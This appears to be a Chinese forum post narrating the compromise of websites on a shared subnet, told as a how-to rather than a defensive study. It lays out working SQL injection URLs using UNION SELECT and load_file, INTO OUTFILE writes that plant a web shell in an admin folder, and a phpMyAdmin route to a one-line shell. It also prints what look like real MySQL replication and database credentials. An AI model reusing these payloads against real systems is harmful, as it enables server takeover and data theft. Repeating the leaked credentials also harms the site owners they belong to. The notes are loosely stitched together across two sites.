目标网站： [www.1xx.net](http://www.1xx.net/) 目标踩点：ASPX 基本表面没有注入 貌似 有个表单有注入 只不过不太会利用 所以只能用笨方法C段试试了。 百度没有收录 谷歌没有收录 貌似是单服务器。

———————————————————————————————————————

以下是C段某个网站。

[http://www.xxxxxx.com](http://www.xxxxxx.com/)

粗略的看了下  
PHP 里面有论坛等等。

1.jpg

看一下商店 貌似是自己写的。

发现一个注入点

<http://www.xxxx.com/coma.php?fd=36>

着重讲解下思路吧！

<http://www.xxxx.com/coma.php?fd=36>’ 没暴出路径

<http://www.xxxx.com/coma.php?fd=36> order by 2

<http://www.xxxx.com/coma.php?fd=36> AnD 3=5 UNIon SeleCT 1,2—

<http://www.xxxx.com/coma.php?fd=36> AnD 3=5 UNIon SeleCT 1,user()—-

ROOTROOT@localgroup

莫非是ROOT权限？

下边开始找目录

初步判断是为 \*UNIX 系统

然后 读取

/etc/httpd/conf/httpd.conf

发现有

继续web目录:/var/www/html

发现有。  好了发现web目录

直接ysql.user into outfile  
'//var//www//html//admin//commo.php'—

直接上传小马  一开始直接上传到跟目录 发现不行 。。后来试了几次 发现 admin有权限写入 OK。 可以开嗅叹了。。

我发现我真没什么写教程的天赋。



成功拿下。

算了 拿几个文章凑下吧

======================

[boot loader]

timeout=30

default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS

[operating systems]

multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Enterprise" /noexecute=optout /fastdetect /PAE

http://www.xxxx.com/admin/

X C:\Program Files\Apache Software Foundation\Apache2.2\LICENSE.txt

http://www.xxxx.com/cdddea.php?ad\_id=506 and 1=2 union select 1,2,load\_file(0x633A5C77696E646F77735C6D792E696E69),4,5,6--

c:\windows\my.ini

==================================

http://www.xxxx.com/phpmyadmin/

==================================

master-host=210.13.96.10

log-slave-updates

master-user=westingarea

master-password=k0n0d8o8

master-port=65432

http://www.xxxx.com/admin/include/app.php

以下四个数据库选一个，密码都一样

<T>MYSQL</T>

<H>localhost</H>

<U>asfdad</U>

<P>asdfasdf</P>

<http://www.bbbb.com/fckeditor/editor/filemanager/browser/default/browser.html?type=Media&connector=http://www.bbbb.com/fckeditor/editor/filemanager/connectors>

/php/connector.php

/var/www/html1/xxxx/phpmyadmin/phpinfo.php

SELECT \* into outfile '/var/www/html1/xxxx/appt.php' FROM `xy`

讲解下思路  同样的 \*INUX 系统  只不过 这个不支持直接into outfile

然后找到了 PHPMYADMIN  
直接 找帐号密码登陆  登陆以后写入一句话 导出。

俩站的 SHELL都是这一类方法。。我不适合写教程。